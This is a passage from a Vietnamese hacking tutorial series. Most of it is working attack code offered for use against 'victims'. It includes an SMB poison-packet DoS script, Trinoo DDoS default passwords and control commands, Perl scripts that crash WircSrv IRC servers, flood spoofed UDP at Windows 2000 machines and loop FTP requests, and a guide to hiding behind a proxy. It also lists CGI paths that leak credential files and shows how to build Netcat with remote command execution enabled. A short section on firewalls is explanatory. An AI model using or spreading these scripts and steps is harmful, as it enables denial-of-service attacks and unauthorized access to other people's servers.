53 20 33 2e 30 00 02 4c 41 4e 4d 41 4e 31 2e 30
00 02 4c 4d 31 2e 32 58 30 30 32 00 02 53 61 6d
62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
30 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00
""",
# Yêu cầu setup SMB X
"""
ff 53 4d 42 73 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
ff 02 00 f4 01 00 00 00 00 01 00 00 00 00 00 00
00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
55 50 00 55 6e 69 78 00 53 61 6d 62 61 00
""",
# Yêu cầu SMBtconX
"""
ff 53 4d 42 75 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
00 01 00 17 00 00 5c 5c 2a 53 4d 42 53 45 52 56
45 52 5c 49 50 43 24 00 49 50 43 00
""",
# Yêu cầu khởI tạo SMBnt X
"""
ff 53 4d 42 a2 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 18 ff 00 00 00 00
07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00
00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
00 00 00 00 00 00 02 00 00 00 00 08 00 5c 73 72
76 73 76 63 00
""",
# yêu cầu biên dịch SMB
"""
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 48 00 4c 00 02 00 26 00 00 08 51 00 5c 50 49
50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
00 00 01 00 00 00 30 16 30 16 00 00 00 00 01 00
00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78
5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00
""",
# SMBtrans Request
"""
http://wWw.Hack.Cf Page 165
ff 53 4d 42 25 00
00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
00 00 00 08 f4 01 00 08 01 00 10 00 00 58 00 00
00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 4c
00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
50 45 5c 00 00 00 05 00 00 03 10 00 00 00 58 00
00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01 00
00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
5c 00 2a 00 53 00 4d 00 42 00 53 00 45 00 52 00
56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00
00 00 00 00 00 00 ff ff ff ff 00 00 00 00
"""
)
crud = map(a2b, crud)
def smb_send(sock, data, type=0, flags=0):
d = struct.pack('!BBH', type, flags, len(data))
#print 'send:', b2a(d+data)
sock.send(d+data)
def smb_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
type, flags, length = struct.unpack('!BBH', s)
data = sock.recv(length)
assert(len(data) == length)
#print 'recv:', b2a(s+data)
return type, flags, data
def nbss_send(sock, data):
sock.send(data)
def nbss_recv(sock):
s = sock.recv(4)
assert(len(s) == 4)
return s
def main(host, port=139):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host, port)
nbss_send(s, nbss_session)
nbss_recv(s)
for msg in crud[:-1]:
smb_send(s, msg)
smb_recv(s)
smb_send(s, crud[-1]) # no response to this
s.close()
if __name__ == '__main__':
print 'Sending poison...',
main(sys.argv[1])
print 'done.'
Để có thể làm down được server của đối phương bạn cần phải có thời gian DoS , nếu
không có điều kiện chờ đợi tốt nhất bạn không nên sử dụng cách này . Nhưng “vọc”
http://wWw.Hack.Cf Page 166
thử cho biết thì được đúng không ?
41 . ) Tấn công DDoS thông qua Trinoo :
_ Bạn đã biết DDoS attack là gì rồi phải không ? Một cuộc tấn công DDoS bằng
Trinoo được thực hiện bởi một kết nối của Hacker Trinoo Master và chỉ dẫn cho
Master để phát động một cuộc tấn công DDoS đến một hay nhiều mục tiêu. Trinoo
Master sẽ liên lạc với những Deadmons đưa những địa chỉ được dẫn đến để tấn công
một hay nhiều mục tiêu trong khoảng thời gian xác định .
_ Cả Master và Deamon đều được bảo vệ bằng Passwd . chỉ khi chúng ta biết passwd
thì mới có thể điều khiển được chúng , điều này không có gì khó khăn nếu chúng ta
là chủ nhân thực sự của chúng . Những passwd này thường được mã hoá và bạn có
thể thiết lập khi biên dịch Trinoo từ Source -----> Binnary. Khi được chạy ,
Deadmons sẽ hiện ra một dấu nhắc và chờ passwd nhập vào , nếu passwd nhập sai
nó sẽ tự động thoát còn nếu passwd được nhập đúng thì nó sẽ tự động chạy trên nền
của hệ thống .
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
kwijibo
Connection closed by foreign host. < == Bạn đã nhập sai
attacker$ telnet 10.0.0.1 27665
Trying 10.0.0.1
Connected to 10.0.0.1
Escape character is '^]'.
betaalmostdone
trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
trinoo> < == bạn đã vào được hệ thống trinoo
_ Đây là vài passwd mặc định :
“l44adsl": pass của trinoo daemon .
"gorave": passwd của trinoo master server khi startup .
"betaalmostdone": passwd điều khiển từ xa chung cho trinoo master .
"killme": passwd trinoo master điều khiển lệnh "mdie" .
_ Đây là một số lệnh dùng để điều khiển Master Server:
CODE
die------------------------------------------------------------Shutdown.
quit------------------------------------------------------------Log off.
mtimer N----------------------------------------------------Đặt thờI gian để tấn công DoS
, vớI N nhận giá trị từ 1--> 1999 giây .
dos IP-------------------------------------------------------Tấn công đến một địa chỉ IP
xác định .
http://wWw.Hack.Cf Page 167
mdie pass---------------------------------------------------Vô hiệu hoá tất cả các
Broadcast , nếu như passwd chính xác . Một lệnh đưọc gửi tới ("d1e l44adsl")
Broadcast để Shutdown chúng . Một passwd riêng biệt sẽ được đặt cho mục này
mping--------------------------------------------------------Gửi một lệnh ping tới ("png
l44adsl") c¸c Broadcast.
mdos <ip1:ip2..> ------------------------------------------Send nhiều lênh DOS ("xyz
l44adsl 123:ip1:ip2") đến các Broadcast.
info-------------------------------------------------------------Hiển thị thông tin về Trinoo
.
msize----------------------------------------------------------Đặt kích thước đệm cho
những gói tin được send đi trong suốt thờI gian DoS.
nslookup host----------------------------------------------Xác định tên thiết bị của Host
mà Master Trinoo đang chạy .
usebackup---------------------------------------------------Chuyển tớI các file Broadcast
sao lưu được tạo bởi lệnh “killdead”.
bcast-----------------------------------------------------------Liệt kê danh sách tất cả các
Broadcast có thể khai thác .
help [cmd] ---------------------------------------------------Đưa ra danh sách các lệnh .
mstop-----------------------------------------------------------Ngừng lại các cuốc tấn
công DOS .
_ Đây là một số lệnh dùng để điều khiển Trinoo Deadmons:
CODE
aaa pass IP----------------------------------------------------Tấn công đến địa chỉ IP đã
xác định . GửI gói tin UDP (0-65534) đến cổng của UDP của địa chỉ IP đã xác định
trong một khoảng thời gian xác định được mặc định là 120s hay từ 1-->1999 s .
bbb pass N-----------------------------------------------------Đặt thờI gian giới hạn cho
các cuộc tấn công DOS .
Shi pass--------------------------------------------------------Gửi chuỗi “*HELLO*” tới
dánh sách Master Server đã được biên dịch trong chương trình trên cổng 31335/UDP.
png pass-------------------------------------------------------Send chuỗi “Pong” tớI
Master Server phát hành các lệnh điều khiển trên cổng 31335/UDP.
die pass--------------------------------------------------------Shutdown Trinoo.
rsz N------------------------------------------------------------Là kích thước của bộ đệm
được dùng để tấn công , nó được tính bằng byte .
xyz pass 123:ip1:ip3----------------------------------------tấn công DOS nhiều mục tiêu
cùng lúc .
( Dựa theo hướng dẫn của huynh Binhnx2000 )
Còn nhiều đoạn mã và cách ứng dụng để DoS lắm , các bạn chịu khó tìm hiểu thêm
nhé . Nhưng đừng tấn công lung tung , nhất là server của HVA , coi chừng không thu
được hiệu quả mà còn bị lock nick nữa đó . Thân .
GOODLUCK!!!!!!!!!!!!!!!!
Hết phần 6
http://wWw.Hack.Cf Page 168
Bài viết của ANHDENDAY
Firewall
Chức năng chính của firewall là kiểm soát luồng thông tin từ giữa Internet và
Intranet.Thiết lập cơ chế điều khiển dòng thông tin giữa mạng bên trong (Intranet)
vàmạng Internet.VD:
• Cho phép hoặc không cho phép những dịch vụ truy cập ra ngoài (Từ Intranet ra
Internet) hay từ ngoài truy cập vào trong (Internet vào Intranet).
• Theo dõi luồng dữ liệu giữa Internet và Intranet.
• Kiểm soát địa chỉ truy cập , cấm địa chỉ nào đó truy cập.
• Kiểm soát người sử dụng và việc truy cập của người sử dụng.
• Kiểm soát nội dung thông tin lưu chuyển trên mạng.
Tuy nhiên firewall vẫn có một số mặt hạn chế :
• Firewall không đủ thông minh như con người để có thể đọc hiểu từng lọai thông tin
và phân tích nội dung tốt hay xấu của nó.Firewall chỉ có thể ngăn chặn sự xâm nhập
của những nguồn thông tin không mong muốn nhưng phải xác định rõ các địa chỉ
truy cập.
• Không thể ngăn cản những cuộc tấn công không đi qua nó , những cuộc tấn công
bằng dữ liệu (data-drivent attack).
• Không thể rà quét virus máy tính trên những dũ liệu được chuyển qua nó vì sự gia
tăng nhanh chóng của các loại virus mới và có nhiều cách mã hoá dữ liệu để thoát
khỏi sự kiểm soát của firewall
Một số phần mềm firewall :
1-SMTP Gateway-Proxy Server cho cổng SMTP :
Chương trình SMTP Gateway được xây dựng trên cơ sở sử dụng 2 phần mềm Smap
và Smapd ,dùng để chống lại sự truy cập thông qua giao thức SMTP.Nguyên lý thực
hiện là chặn trước chương trình Mail Server nguyên thủy của hệ thống , không cho
phép các hệ thống bên ngoài kết nối tới Mail Server vì ở trong mạng tin cậy của mail
server thường có một số quyền ưu tiên khá cao.Trên HĐH Unix , chương trình Mail
Server được thực hiện bởi Sendmail (Send mail dùng để làm gì thì coi ở trên).
Khi một hệ thống ở xa kết nối tới cổng SMTP , chương trình smap sẽ dành quyền
phục vụ và chuyển tớ thư mục dành riêng và đặt USER-ID ở mức bình thường (không
có quyền ưu tiên).Mục đích duy nhất của smap là đối thoại SMTP với các hệ thống
khác , thu lượm mail , ghi vào đĩa , ghi nhật kí và kết thúc.Còn đối với Smapd , nó sẽ
quét thư mục này thường xuyên , khi phát hiện có mail sẽ chuyển dữ liệu cho
Sendmail để phân phát vào hòm thư cá nhân hoặc chuyển tiếp tới các mail server
khác .
Như vậy , một user lạ trên mạng sẽ không kết nối được tới Mail Server và tấ cả các
thông tin theo đường này đều có thể kiểm soát được .Tuy nhiên nhược điểm của
chương trình này là không thể giải quyết những vấn đề như là thư nặc danh hoặc các
phương pháp tấn công bằng đường khác.
2-FTP Gateway -Proxy Server dành cho dịch vụ FTP:
http://wWw.Hack.Cf Page 169
Proxy Server dành cho dĩch vụ FTP cung cấp khả năng kiểm soát khả năng truy cập
vào dịch vụ FTP dựa trên địa chỉ IP và Hostname , và cung cấp quyền điều khiển truy
cậo thứ cấp cho phép tuỳ chọn khoá hoặc ghi nhật kí bất kì lệnh FTP nào .Các địa chỉ
đích này cũng có thể tuỳ chọn được (cho phép hoặc bị cấm ).Tất cả các sự kết nối và
dung lượng dữ liệu chuyển qua đều bị nhật kí ghi lại.
FTP Gateway tự bản thân nó không đe dọa an toành của hệ thống bởi vì nó chạy root
tới một hư mục rỗng và không thực hiện bất kì thủ tục input/output file nào ngoài
việc đọc file cấu hình của nó .FTP Server chỉ cung cấp dịch vụ FTP mà không quan
tâm đến việc ai có quyền hay không có quyền dowload các file .Do vậy việc xác định
quyền phải được thiết lập trên FTP Gateway và phải thực hiện trướ khi thực hiện việc
upload/download file.
FTP Gateway có thể ngăn ngừa mọi sự xâm nhập vào mạng qua cổng FTP một cách
khá linh hoạt (cho phép ngăn cản từng địa chỉ hay toàn bộ mạng) và cũng kiểm soát
việc truy cập tới từng khả năng như dowload /upload thông tin.
3-Telnet Gateway-Proxy Server cho Telnet :
Telnet Gateway là một proxy server quản lý truy cập mạng dựa trên địa chỉ IP ,
hostname và cung cấp sự điều khiển truy cập thứ cấp cho phép tuỳ chọn khoá bất kì
đích nào. Tất cả các sự kết nối dữ liệu chuyển qua đều được nhật kí ghi lại.Mỗi lần
user kết nối tới Telnet Gateway , user phải chọn phương thức kết nối.Telnet Fateway
không làm hại tới hệ thống vì nó chỉ hoạt động trong một phạm vi nhất định (được
cho phép).VD : Hệ thống sẽ chuyển quyền điều khiển tới một thư mục dành riêng,
đồng thời cắm truy cập tới những thư mục và file khác.
Telnet Gateway được sử dụng để kiểm soát các truy cập vào mạng nội bộ.Các truy
cập không được phép sẽ không thể thực hiện được một tác vụ nào , còn những truy
cập hợp pháp sẽ bị nhật kí ghi lại (thời gian truy cập , những tác vụ …)
4-HTTP Gateway – Proxy Server dành cho Web :
Cảm ơn sự ủng hộ của các bạn và đây là phần 7
42 . ) Kỹ thuật ấn công DoS vào WircSrv Irc Server v5.07 :
_ WircSrv IRC là một Server IRC thông dụng trên Internet ,nó sẽ bị Crash nếu như bị
các Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667.
Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667:
Nếu bạn dùng Unix:
[hellme@die-communitech.net$ telnet irc.example.com 6667
Trying example.com...
Connected to example.com.
Escape character is '^]'.
[buffer]
Windows cũng tương tự:
http://wWw.Hack.Cf Page 170
telnet irc.example.com 6667
Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự .
Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn
vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong
những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng
ta hãy phân tích nó một cách căn bản ):
CODE
#!/usr/bin/perl #< == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl
use Getopt::Std;
use Socket;
getopts('s:', %args);
if(!defined($args{s})){&usage;}
my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);
$foo = "A"; # Đây là NOP
$number = "65000"; # Đây là tất cả số NOP
$data .= $foo x $number; # kết quả của $foo times $number
$serv = $args{s}; # lệnh điều khiển server từ xa
$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667
$buf = "$data";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!n");
$proto = getprotobyname('tcp') || die("Error: $!n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";
print S "$buf";
print("Data has been successfully sent to $servn");
sub usage {die("nn Lỗi WircSrv Version 5.07s
có thể tấn công bằng DoS n gửi 2 64k gói tin đến server làm cho nó crash.n -s
server_ipnn");}
Để sử dụng cái mã này , bạn hãy save nó vào một file *.pl , rồI down chương trình
activeperl về sài , setup nó rồi vào HĐH DOS bạn chỉ cần gọi file này ra theo lệnh sau
:
C:>perl < đường dẫn đến file *.pl >
( Đến bây giờ tôi sẽ không bày thật cặn kẽ nữa mà sẽ tăng dần độ khó lên , nếu bạn
nào nghiên cứu kỹ các bài trước thì các bạn sẽ làm được dễ dàng thôi )
43 . ) Kỹ thuật tấn công DoS vào máy tính sử dụng HĐH Win2000 :
_ Muốn sử dụng được nó , bạn phải có activeperl , rồi sử dụng như hướng dẫn tương
tự trên . Save đoạn mã vào file *.pl rồI dùng lệnh perl gọi nó ra :
CODE
http://wWw.Hack.Cf Page 171
#!/usr/bin/perl -w
use Socket;
use Net::RawIP;
use Getopt::Std;
getopts("s:d:p:l:n:v:t:f:T:rL",%o);$ver="0.3a";$0=~s#.*/##;
print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant --- ";
$l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
$v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
$p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $! ");
($o{'s'}&&$o{'d'})||die
" Use: $0 [IP Options] [UDP Options] ",
"IP Options: ",
" -s* Đia chi nguon đe bat chuoc ",
" -d* Đia chi bi tan cong ",
" -v IP Version (def: $v) ",
" -t IP Type of Service (TOS) (def: $t) ",
" -f IP fragementation offset (def: $f) ",
" -T IP Time to Live (TTL) (def: $T) ",
"UDP Options: ",
" -p cong cua may tinh nan nhan (def: $p) ",
" -l chieu dai cua goi tin (def: $l) ",
" -r cai đat du lieu ngau nhien (def: ".") ",
"Generic: ",
" -n So luong goi tin ta muon gui đi (def: $n) ",
" -L gui goi tin lien tuc khong ngung cho đen khi may tinh cua nan nhan bi die he he",
" Bai huong dan cua ANHDENDAY . ";
while($n > 0){
$|=1;print".";$sp=int rand 65535;
$D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
$nb=new Net::RawIP({
ip=>
{
version=>$v,
tos=>$t,
ttl=>$T,
frag_off=>$f,
saddr=>$o{'s'},
daddr=>$o{'d'}
},
udp=>
{
source=>$sp,
dest=>$p,
len=>$l,
data=>$D
}
});
http://wWw.Hack.Cf Page 172
$nb->send;undef $nb;!$o{'L'}&&$n--;
}
print"Finish! ";
_ Khi gọi ra bạn hãy chọn tuỳ chọn đã ghi ở trong đó mà DoS . Nhớ là chỉ dùng cho
Win2000 nhé .
44 . ) Kỹ thuật tấn công DoS dễ dàng nhất :
_ Tôi thì mỗi lần muốn tấn công bằng DoS đều dùng chương trình này , nó chẳng kén
gì cả và dễ thực hiện . Bây giờ tôi sẽ chia sẻ với các bạn .
_ Bạn cần phải có Activeperl ( lại là activepert ) đã cài sẵn , save đoạn mã sau vào
file abc.pl :
CODE
#!/usr/bin/perl
use IO::Socket;
sub initiate {
if ($ARGV[0] eq '') {die "Usage: perl abc.pl <host> <port> <username>
<password>nVi du : perl abc.pl 127.0.0.1 21 anonymous me@n";}
$host = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
};
sub connecttoserver {
print("Connect den host: $hostn");
$socket = IO::Socket::INET->new (PeerAddr => $host,
PeerPort => $port,
Proto => "tcp",
Type => SOCK_STREAM
) || die "khong the connect den $host";
print "Connect thanh cong . Loggin vao...n";
};
sub login {
print "user $usern";
print $socket "user $userrn";
$response = <$socket>;
print "$responsen";
print "pass $passn";
print $socket "pass $passrn";
$response = <$socket>;
http://wWw.Hack.Cf Page 173
print "$responsen";
print "Logged in. Dang tan cong DoS doi phuong. Nhan CTRL-C de ngung.n";
};
sub doit {
for (;; ){
print "retr a:/xn";
print $socket "retr a:/xrn";
$response = <$socket>;
print "$response";
}
}
initiate();
connecttoserver();
login();
doit();
_Nếu bạn từng qua lập trình khi đọc đoạn mã bạn sẽ thấy rằng đoạn mã này dùng
chính thông tin từ ổ đĩa A của nạn nhân để tấn công nạn nhân . Nó sử dụng vòng lặp
không có giới hạn từ hàm $socket "retr a:/xrn" . Khi muốn kết thúc bạn chỉ cần
nhấn ctrl+C .
_Cuối cùng là bạn chỉ cần gọi nó ra thông qua lệnh perl như các bài trên .VD :
perl abc.pl http://www.xxx.com/ anonymous me
trong đó User name và Password có thể là bất kỳ .
Vậy là coi như các bạn đã biết tấn công DoS là như thế nào rồi phải không ? Đó chỉ là
những cách tấn công DoS thông thường ( nhưng hậu quả thì chẳng thường thường
chút nào ) , còn các kỹ thuật DoS lợi hại khác như DRDoS thì cho các bạn nghiên cứu
thêm vậy . Nó rất nguy hiểm khi sử dụng lung tung nên để dành phần đó cho các
bạn nào thích và thật sự muốn nghiên cứu về nó . Tôi xin dừng phần DoS tại đây .
45 . ) Tự tạo cho mình một proxy để sài :
_Trong các công việc như tấn công DoS hay đột nhập vào trang Web có trang bị
firewall thì bạn cần đến proxy để sài . Do đó các bạn hãy tự tạo cho mình một cái
proxy made in <yourname> sài cho nó oai . Bây giờ hãy làm cùng tôi .
_ Trước hết bạn đăng ký một host miễn phí ở trang free.prohosting.com . Bạn hãy
khai báo thông tin về bạn trong các ô nhập thông tin . Cuối cùng khi đăng ký xong
bạn sẽ nhận được Mail từ trang Web này gửi đến , hãy test nó để lấy pass mặc định
mà nó cho bạn .
_ Tiếp theo bạn vào trang www.xav.com , rồi nhấp vào link install phía dưới dòng
chữ Test - script Package( tui nhớ là có 2 cái tên mang chữ script này ) . Sau đó bạn
nhấn "next" và nhìn ở phía dưới của trang này có chữ show all verdon , bạn hãy nhấn
vào đó .
_ Tiếp tục bạn nhấn James Marshall ==>CGIscript
http://wWw.Hack.Cf Page 174
==>CGIproxy==>Next==>accept==> cho đến khi bạn thấy một cái bảng có nhiều
ô nhập thông tin . Bạn hãy nhập thông tin vào các trang đó :
+ your Website : nhập địa chỉ trang Web của bạn đã đăng ký trong prohosting.com .
+ FTP username : Bạn nhập username mà bạn đã đăng ký trong prohosting.com .
+ FTP password : Bạn nhập passwd mà prohosting.com đã send về mail cho bạn .
+ Mấy cái còn lại không cần thiết , bạn nhấp next để tiếp tục . Rồi nhấn finish .
+ Cuối cùng nó sẽ cho bạn địa chỉ bạn vừa tạo cái proxy đó , bạn hãy ghi nhớ nó .
Sau này mỗi lần “hành động” thì bạn lại đem ra sài .
46 . ) Kỹ thuật lấy pass thông qua lỗi của một số Script :
a . ) Calendar CGI Script :
_ Một trong số những scripts đã tìm thấy điểm yếu đó là calendar scripts , nó nằm
trong thư mục cgi-bin/calendar, file config là file calendar.cfg chứa administrator
username và password để thay đổi chọn lựa cho scripts khi cần , cái này có thể tìm
thấy ở cuối file calendar.cfg , tuy nhiên chúng đã được mã hoá chúng ta chỉ việc
dùng John The Ripper hay những công cụ khác để giải mã nó là xong :
_file calendar.cfg thường đặt tại địa chỉ sau :
http://www.xxx.com/cgi-bin/calendar/calendar.cfg
sau khi crack xong chúng ta sẽ đến Admin Control Login vào địa chỉ :
http://www.xxx.com/cgi-bin/calen..._admin.pl?admin
_ Vậy là bạn đã có được quyền admin rồi đó .
b . ) WebBBS Script :
_WebAdverts Script là một scripts cho phép webmasters hiển thị những biểu ngữ
luân phiên ( quảng cáo chẳng hạn ) hay thêm vào trong trang Web , cuối cùng bạn
có thể sử dụng kết hợp password và username để cài đặt banners tạo một banner
accounts mới , xoá accounts view sensitive info, vv.vv
_Địa chỉ passwd của WebAdverts là :
http://www.xxx.com/cgi-bin/advert/adpassword.txt
sau khi giải mã bạn logging vào:
http://www.xxx.com/cgi-bin/advert/ads_admin.pl
để login như là script administrator .
c . ) WWWBoard Script :
_WWWBoard có file password có thể tìm thấy trong pasword.txt , chúng ta hãy
search nó bằng từ khoá cgi-bin/wwwebboard hoặc webboard/password.txt .
d . ) Mailmachine Script :
http://wWw.Hack.Cf Page 175
_Mailmachine.cgi là một webbased mailinglist , bạn có thể trông thấy file
adressed.txt chứa tất cả danh sách khách đã đăng ký , những danh sách có thể thấy
tại những urls sau:
http://www.xxx.com/cgi-bin/mailman/addresses.txt
http://www.xxx.com/cgi-bin/maillist/addresses.txt
http://www.xxx.com/cgi-bin/mail/addresses.txt
bạn cũng nên tìm addresses.txt mà đôi khi chúng được đổi thành các tên khác .
Chúng có thể chứa các thông tin quan trọng cho phép bạn khai thác .
Việc tìm ra các trang bị lỗi này hẳn các bạn đã biết , tôi sẽ không nhắc lại nữa ( Nếu
ai chưa biết thì vui lòng đọc lạI những phần trước ) .
====================================================
==
Nhân đây tôi xin đính chính lại là trong các đoạn code mà tôi phân tích và post lên ở
những phần trước tôi đã sơ ý không thêm ký hiệu “#” vào trước những câu phân tích
đó , dẫn đến việc một số bạn thắc mắc là đoạn code không hoạt động . Tôi thành
thật xin lỗi các bạn vì sơ ý của tôi , các bạn chỉ cần lấy đoạn code đó ra và thêm vào
dấu “ # ” ở phía trước dòng chú thích Tiếng Việt của tôi là được ( Thông thường tôi
có sử dụng dấu “ < == ” để giải thích ở phiá đuôi đoạn code đó . Các bạn hãy để ý
mà fix nhé .
Chúc vui vẻ .
GOOKLUCK!!!!!!!!!!!!
Hết phần 7 .
Bài viết của ANHDENDAY
Đây là phần 8 .
47 . ) Các công cụ cần thiết để hack Web :
_ Đối với các hacker chuyên nghiệp thì họ sẽ không cần sử dụng những công cụ này
mà họ sẽ trực tiếp setup phiên bản mà trang Web nạn nhân sử dụng trên máy của
mình để test lỗi . Nhưng đối với các bạn mới “vào nghề” thì những công cụ này rất
cần thiết , hãy sử dụng chúng một vài lần bạn sẽ biết cách phối hợp chúng để việc
tìm ra lỗi trên các trang Web nạn nhân được nhanh chóng nhất . Sau đây là một số
công cụ bạn cần phải có trên máy “làm ăn” của mình :
_ Công cụ thứ 1 : Một cái proxy dùng để che dấu IP và vượt tường lửa khi cần ( Cách
tạo 1 cái Proxy tôi đã bày ở phần 7 , các bạn hãy xem lại nhé ) .
_ Công cụ thứ 2 : Bạn cần có 1 shell account, cái này thực sự quan trọng đối với bạn
. Một shell account tốt là 1 shell account cho phép bạn chạy các chương trình chính
như nslookup, host, dig, ping, traceroute, telnet, ssh, ftp,...và shell account đó cần
phải cài chương trình GCC ( rất quan trọng trong việc dịch (compile) các exploit được
http://wWw.Hack.Cf Page 176
viết bằng C) như MinGW, Cygwin và các dev tools khác.
Shell account gần giống với DOS shell,nhưng nó có nhiều câu lệnh và chức năng hơn
DOS . Thông thường khi bạn cài Unix thì bạn sẽ có 1 shell account, nếu bạn không
cài Unix thì bạn nên đăng ký trên mạng 1 shell account free hoặc nếu có ai đó cài
Unix và thiết lập cho bạn 1 shell account thì bạn có thể log vào telnet (Start --> Run
--> gõ Telnet) để dùng shell account đó. Sau đây là 1 số địa chỉ bạn có thể đăng ký
free shell account :
http://www.freedomshell.com/
http://www.cyberspace.org/shell.html
http://www.ultrashell.net/
_Công cụ thứ 3 : NMAP là Công cụ quét cực nhanh và mạnh. Có thể quét trên mạng
diện rộng và đặc biệt tốt đối với mạng đơn lẻ. NMAP giúp bạn xem những dịch vụ
nào đang chạy trên server (services / ports : webserver , ftpserver , pop3,...),server
đang dùng hệ điều hành gì,loại tường lửa mà server sử dụng,...và rất nhiều tính
năng khác.Nói chung NMAP hỗ trợ hầu hết các kỹ thuật quét như : ICMP (ping
aweep),IP protocol , Null scan , TCP SYN (half open),... NMAP được đánh giá là công
cụ hàng đầu của các Hacker cũng như các nhà quản trị mạng trên thế giới.
Mọi thông tin về NMAP bạn tham khảo tại http://www.insecure.org/ .
_ Công cụ thứ 4 : Stealth HTTP Security Scanner là công cụ quét lỗi bảo mật tuyệt
vời trên Win32. Nó có thể quét được hơn 13000 lỗi bảo mật và nhận diện được 5000
exploits khác.
_ Công cụ thứ 5 : IntelliTamper là công cụ hiển thị cấu trúc của một Website gồm
những thư mục và file nào, nó có thể liệt kê được cả thư mục và file có set password.
Rất tiện cho việc Hack Website vì trước khi bạn Hack một Website thì bạn phải nắm
một số thông tin của Admin và Website đó.
_ Công cụ thứ 6 : Netcat là công cụ đọc và ghi dữ liệu qua mạng thông qua giao thức
TCP hoặc UDP. Bạn có thể dùng Netcat 1 cách trực tiếp hoặc sử dụng chương trình
script khác để điều khiển Netcat. Netcat được coi như 1 exploitation tool do nó có thể
tạo được liên kết giữa bạn và server cho việc đọc và ghi dữ liệu ( tất nhiên là khi
Netcat đã được cài trên 1 server bị lỗI ). Mọi thông tin về Netcat bạn có thể tham
khảo tại http://www.l0pht.com/ .
_ Công cụ thứ 7 : Active Perl là công cụ đọc các file Perl đuôi *.pl vì các exploit
thường được viết bằng Perl . Nó còn được sử dụng để thi hành các lệnh thông qua
các file *.pl .
_ Công cụ thứ 8 : Linux là hệ điều hành hầu hết các hacker đều sử dụng.
_ Công cụ thứ 9 : L0phtCrack là công cụ số một để Crack Password của Windows
NT/2000 .
_ Cách Download tôi đã bày rồi nên không nói ở đây , các bạn khi Download nhớ chú
ý đến các phiên bản của chúng , phiên bản nào có số lớn nhất thì các bạn hãy Down
về mà sài vì nó sẽ có thêm một số tính năng mà các phiên bản trước chưa có . Nếu
down về mà các bạn không biết sử dụng thì tìm lại các bài viết cũ có hướng dẫn bên
Box “Đồ nghề” . Nếu vẫn không thấy thì cứ post bài hỏi , các bạn bên đó sẽ trả lời
cho bạn .
48 . ) Hướng dẫn sử dụng Netcat :
a . ) Giới thiệu : Netcat là một công cụ không thể thiếu được nếu bạn muốn hack một
website nào đó vì nó rất mạnh và tiện dụng . Do đó bạn cần biết một chút về Netcat
.
b . ) Biên dịch :
http://wWw.Hack.Cf Page 177
_ Đối với bản Netcat cho Linux, bạn phải biên dịch nó trước khi sử dụng.
- hiệu chỉnh file netcat.c bằng vi: vi netcat.c
+ tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init();
+ thêm 2 dòng sau vào phần #define (nằm ở đầu file):
#define GAPING_SECURITY_HOLE
#define TELNET
- biên dịch: make linux
- chạy thử: ./nc -h
- nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến
môi trường PATH trong file ~/.bashrc, thêm vào ":."
PATH=/sbin:/usr/sbin:...:.
_ Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe. Chỉ
vậy giải nén và chạy là xong.
c . ) Các tùy chọn của Netcat :
_ Netcat chạy ở chế độ dòng lệnh. Bạn chạy nc -h để biết các tham số:
CODE
C:>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d ----------- tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ
